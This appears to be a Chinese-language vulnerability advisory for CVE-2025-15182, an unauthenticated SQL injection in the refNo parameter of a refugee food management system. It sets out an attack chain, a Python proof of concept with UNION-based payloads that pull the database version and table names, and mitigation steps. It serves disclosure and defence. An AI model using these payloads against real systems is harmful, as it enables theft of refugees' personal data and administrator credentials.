IPBUF安全漏洞报告
English
CVE-2025-15182 CVSS 7.3 高危

CVE-2025-15182: code-projects Refugee Food Management System SQL注入漏洞

披露日期: 2025-12-29

漏洞信息

漏洞编号
CVE-2025-15182
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
code-projects Refugee Food Management System 1.0

相关标签

SQL注入CVE-2025-15182Refugee Food Management Systemcode-projects远程代码执行高危漏洞无需认证Web应用安全

漏洞概述

CVE-2025-15182是code-projects组织开发的Refugee Food Management System 1.0版本中存在的高危安全漏洞。该漏洞位于Web应用程序的/home/served.php文件中,攻击者可以通过操纵refNo参数实现SQL注入攻击。由于该漏洞无需认证即可远程利用,且利用代码已公开,导致所有使用该系统的组织面临严重的数据安全风险。攻击者成功利用此漏洞后可窃取数据库中的敏感信息,包括难民个人信息、食物分配记录、管理员凭据等,甚至可能在某些配置下执行操作系统命令。鉴于该系统的特殊用途(为难民提供食物管理服务),泄露的数据可能涉及人员隐私和安全信息,具有较高的社会危害性。建议使用该系统的组织立即采取缓解措施并关注官方更新。

技术细节

该SQL注入漏洞存在于/home/served.php文件中,具体位于处理refNo参数的查询逻辑中。攻击者可通过构造恶意payload注入到SQL查询语句中,实现未授权数据库操作。由于应用程序未对用户输入进行充分的参数化查询或输入过滤,攻击者可以利用UNION SELECT、布尔盲注或时间盲注等技术提取数据库敏感信息。典型攻击向量包括:1) 使用单引号或双引号闭合原始查询;2) 利用UNION语句联合恶意查询;3) 通过条件判断语句进行盲注。由于系统可能以高权限数据库账户运行,攻击者可能获得管理员权限或完全控制数据库服务器。

攻击链分析

STEP 1
步骤1
扫描识别目标网站,确认使用Refugee Food Management System 1.0版本
STEP 2
步骤2
访问/home/served.php文件,识别refNo参数
STEP 3
步骤3
构造SQL注入payload,如单引号测试:refNo='
STEP 4
步骤4
利用UNION SELECT或盲注技术提取数据库敏感信息
STEP 5
步骤5
获取数据库用户表、密码哈希或其他敏感数据
STEP 6
步骤6
利用获取的凭据进行进一步攻击或数据窃取

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-15182 SQL Injection PoC # Target: code-projects Refugee Food Management System 1.0 # File: /home/served.php # Parameter: refNo import requests import sys TARGET_URL = "http://target.com/home/served.php" # Basic SQL Injection test def test_basic_injection(): print("[*] Testing basic SQL injection...") payload = "' OR '1'='1" params = {"refNo": payload} try: response = requests.get(TARGET_URL, params=params, timeout=10) if response.status_code == 200: print("[+] Basic injection test completed") return True except Exception as e: print(f"[-] Error: {e}") return False # Union-based injection to extract database version def extract_db_version(): print("[*] Extracting database version...") payload = "' UNION SELECT NULL,version(),NULL,NULL-- -" params = {"refNo": payload} try: response = requests.get(TARGET_URL, params=params, timeout=10) if "5." in response.text or "8." in response.text: print("[+] Database version extracted") return True except Exception as e: print(f"[-] Error: {e}") return False # Extract database tables def extract_tables(): print("[*] Extracting database tables...") payload = "' UNION SELECT NULL,table_name,NULL,NULL FROM information_schema.tables WHERE table_schema=database()-- -" params = {"refNo": payload} try: response = requests.get(TARGET_URL, params=params, timeout=10) if response.status_code == 200: print("[+] Tables extracted") return response.text except Exception as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": print("CVE-2025-15182 SQL Injection PoC") print("=" * 40) test_basic_injection() extract_db_version() tables = extract_tables() if tables: print(f"[+] Found tables: {tables[:500]}")

影响范围

Refugee Food Management System 1.0

防御指南

临时缓解措施
立即采取以下临时缓解措施:1) 在Web应用层添加输入过滤规则,拦截包含SQL特殊字符的请求;2) 限制对/home/served.php的访问,配置IP白名单;3) 启用数据库审计日志,监控异常查询行为;4) 临时关闭系统或限制其暴露在公网;5) 备份当前数据,以便在必要时进行恢复。同时建议联系系统开发者获取官方修复方案。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表